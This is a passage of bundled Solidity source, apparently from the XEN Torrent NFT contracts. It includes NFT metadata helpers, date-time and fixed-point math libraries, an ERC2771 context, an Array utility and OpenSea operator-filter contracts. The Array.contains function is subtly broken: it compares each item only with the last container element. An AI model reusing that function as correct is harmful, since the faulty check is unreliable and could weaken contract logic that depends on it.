'{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require 